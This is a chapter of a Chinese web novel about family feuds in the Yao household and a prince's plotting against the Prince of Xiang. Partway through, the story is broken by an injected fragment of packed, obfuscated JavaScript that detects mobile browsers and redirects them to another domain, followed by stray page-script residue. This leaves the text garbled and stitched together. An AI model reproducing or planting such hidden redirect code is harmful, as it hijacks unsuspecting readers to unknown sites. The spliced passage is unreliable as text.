杜氏拦住姚芷兰三人,委曲求全道:“宁丫头这是说的哪里话,若让你二伯知道你们回汴州却住在别处,该怪我待客不周了。”
姚芷兰也拉着姚靖宁笑得一团和气,“还不快去给堂弟赔个不是,你这丫头也是下手不知道轻重,伤着堂弟可如何是好?”
姚靖宁嬉皮笑脸的点点头,跑到瘫在地上满地找牙的姚举跟前,“堂哥你没事吧?哎呀,都怪我下手太重,竟是将你牙齿打掉了。”
杜氏一听这话,气得浑身发抖,再也忍不住,“宁丫头,你太过分了!”
姚靖宁学着姚婉音气人的本事,“二婶别急,我看堂哥牙齿本就参差不齐,这下正好可以寻医重新矫正一番。”
姚鹏一个健步上前就想将姚婧宁按倒在地,可没想到她身手如此矫健。
姚婧宁一个滑步绕道姚鹏身后抬脚一踢,正中膝弯。
“砰”的一声,大公子面朝姚芷兰跪了下来。
姚芷兰侧身避让,严厉道:“宁宁,不得胡闹,还不快将堂哥扶起来。”
姚婧宁顿时乖觉,伸手托住姚鹏的臂弯轻轻一抬,人就站了起来。
至此,二房一家人才知道,眼前这两个小姑娘不是他们能惹的人。
杜氏连忙招来丫鬟,“你,赶紧带两位小姐去葳蕤院休息。”
地上的姚举发出阵阵哀嚎,嚷着要杀了姚婧宁。
杜氏看着一行人被丫鬟领走后,才露出了她原本的面目。
她不笑时,面容极为刻薄,此刻阴沉的眉眼透着刻骨的恨意。
一边安抚小儿子一边道:“我儿莫急,等贵人入京后,什么王爷什么三房都得死,你就照你们爹爹交代的,将他们拖住便可。”
姚举此刻说话漏风,呲着牙含糊不清道:“我不去,要去让大哥陪他们去扬州,最好让他们全部死在那。”
姚鹏制止道:“二弟,此处不是说话的地方,娘,你扶他回去休息,晚宴就别来了。”
他作为二房长子,说话一向得用,就连杜氏都言听计从。
连忙扶起小儿子,“举儿,先回房,娘这就去寻大夫来,你莫急,气大伤身。”
没有任何人注意到屋檐上趴着的暗卫,拐了个弯没入了刺史府。
*
刺史府,客房。
蒋飞面露忧色,“王爷,看来襄王早有图谋,您这边找上了姚家大房,他那边立刻拿下二房,看来对我们的动向一清二楚。”
萧策的面容藏在午后的暗影中,看不真切,“你猜,他是何时拿下的?”
蒋飞悚然一惊,“王爷的意思是?”
“笃笃笃”门外响起轻微的敲门声,“王爷,裴绪安求见。”
萧策敲击桌面的手指一顿,“进。”
门板轻阖,裴绪安行礼道:“王爷若为襄王所扰,我倒是可为王爷提供一二线索。”
“哦?你说。”萧策被勾起了兴趣。
上一世,裴绪安远在岭南,所知甚微,但天下大事他也有所耳闻。
他只能半真半假的将自己知道的信息透露给他,还不能路出马脚,实在不是一件易事。
他理了理思绪道:“去岁,我曾前往幽州行商,恰巧与襄王有过一面之缘。”
“襄王设宴款待各路商贾,我有幸跟着相熟之人前往,酒过三巡,发生一事。”
“席间有一京城来的商贾闹酒,醉后大放厥词,称自己是当朝冯相的座上宾,还说在席间见过襄王,众人哄堂大笑。”
“世人皆知襄王生母淑妃与冯相有仇,故而襄王与冯相绝不会同坐一席之间。”
“襄王怒斥该商贾,并让其永世不得踏入幽州,坐实了不睦的传言。”
裴绪安抬眼,“可我却在散席后的间隙,不小心看到襄王的与手下的对话,手下说,冯相来信……”
“你会唇语?”裴绪安点头,于是萧策将脸挪出阴暗面,对着他无声的说了一句话。
裴绪安轻笑,“我是阿宁的人。”
萧策轻嗤,话锋一转,“襄王长相如何?”
裴绪安心中一沉,并未有一丝犹豫,“玉面挺鼻,丹凤眼,左侧下颚有一黑痣。”
萧策并未言语,复又退回身后的阴暗处。
他的声音听不出喜怒,“本王能相信你吗?”
裴绪安也并无起伏,只是说道:“我不顾姚家也得顾长乐,即便是我狼心狗肺,自私自利,那我也该选个赢面最大的效忠,不是吗?”
“你觉得襄王会败?”
裴绪安低头敛下眸中的精光,“正是恰恰相反,我才冒着被王爷怀疑的风险,直言不讳。”
“就凭冯相与襄王不可告人的关系?”
“我一介商贾如何得知?此事只怕要王爷亲自查证。”
萧策一时无言,似还未全然相信。
裴绪安无法,只能抛出杀手锏,“我与襄王有不死不休之仇,我想借王爷之手将其铲除。”
果然,萧策似有一丝松动,“何仇?”
裴绪安紧握双拳,面目失去一惯的温柔,“我真名上官绪,父亲乃前工部尚书上官鸿,母亲乃前国子监祭酒千金裴玄素。”
其余的他没再多言,如此轰动朝纲的大案,萧策作为王爷不可能不知。
长久的沉默蔓延,萧策似沉浸在回忆里。
上官鸿,国之栋梁,却因万佛塔坍塌获罪,本人斩首,家眷流放岭南。
万佛塔,便是通天塔的前身。
可这件事竟是与襄王有关吗?
“此事由冯相全权处理,而后却是襄王提前获封前往幽州,此前我并未想通,可自从我知道他们有书信往来后,便无法不将二人绑在一处猜测。”
“我的父亲一生醉心工造之术,于官场并无专营,能坐上尚书之位,全靠岳家提携。”
“说他迂腐我认,说他固执我也认,可说他因贪腐导致万佛塔坍塌,我这辈子都不会认。”
“我的父亲,视工为命,怎会允许自己的工程坍塌?”
萧策也有所耳闻,上官绪此人,迂腐固执,从不与人来往,是个怪人,若非裴大人上下打点,他可能这辈子都没有出头之日。
但他的作品却遍布大雍各地,包括他母妃的未央殿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446034|185104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她母妃曾言,上官大人沉默寡言却有鲁班之能,果然天才都是异于常人之人。
就是如此一个能人,却因贪腐被斩首,他也是不信的。
这种人,有他们自己的骄傲与信仰。
可当年冯相结案迅速,此刻想来,就像在掩盖些什么一样。
萧策的声音终于发生了变化,“这件事本王知道了,定会为你做主。”
他想起了什么,玩味道:“而且你替我在黑风寨找到的那物件也足以让你成为我的人,而且只能是我的人。”
这就是接受了他的投诚,将他彻底视为自己人了。
裴绪安松了口气,旧事重提,另他倍感压抑。
他重活一世,要报仇,要报恩,还要将爱人留下,实在疲于奔命,自顾不暇。
*
姚府,中正堂。
姚文远已经归家,他得知自己的嫡次子被姚靖宁打掉牙齿,同样怒火中烧。
可他仅存的理智告诉他,要以大局为重,故而仍旧盛装出席了傍晚的接风宴。
二房重新修葺的宴席厅十分富贵。
金雕玉砌,灯火辉煌,婢子穿梭间带起的风都透着沉水檀香的味儿。
如此盛景,无不时刻昭显着二房的财富。
姚靖宁狐疑的问姚芷兰,“二房何时这般有钱了?”
姚芷兰摇摇头,“姚家虽未分家,但大房、三房在京城,二房独守汴州,我根本没有机会看到账本。”
“而且爹娘曾告诉过我,二房在汴州的产业并不是很多,虽有一些赚钱的行当,但主宅的消耗同样巨大。”
姚靖宁嗤笑,“那不是明摆着告诉大家,这些钱都是非法所得吗?”
“他们如何经营,只能查账,而且要看真的那本。”
姚靖宁眼睛一转,与姚芷兰咬耳朵,“那简单,我去偷来,一看便是。”
姚芷兰若有所思,“那你行事一切小心,切莫被抓个正着。”
姚靖宁惊讶的忘记收声,“大姐你变了!”
她的大姐何时开始支持她干这种鸡鸣狗盗的事情了。
姚芷兰连忙拉住她,“非常时刻行非常手段,这是那人教会我的。”
姚靖宁不得不承认,低声道:“王爷好手段。”
姚芷兰打趣道:“不生他气了?”
“哼,小命都挂在他身上,生气有何用。”
姚芷兰笑着点点她的头,“你倒是没变,还是如此能屈能伸。”
姚靖宁笑着躲开,眼角看到一溜的公子小姐鱼贯而入,不由惊道:“他们是谁?”
丹若此刻双眼放光,“那些都是二老爷的庶子庶女。”
“?”姚靖宁震惊的看向一眼看不到头的队伍,迷茫的挠挠头,“二伯父这是三宫六院七十二妃?”
丹若如数家珍,“二老爷有十八房小妾,除了刚进门的那个外,每个都有所出,幸好姚家祖宅大,不然还真住不下这么多人呢。”
姚靖宁眯眼看着丹若,“丹若姐姐从何而知?”
丹若笑得腼腆,“我就趁小姐们午休时,去婆子堆坐了会。”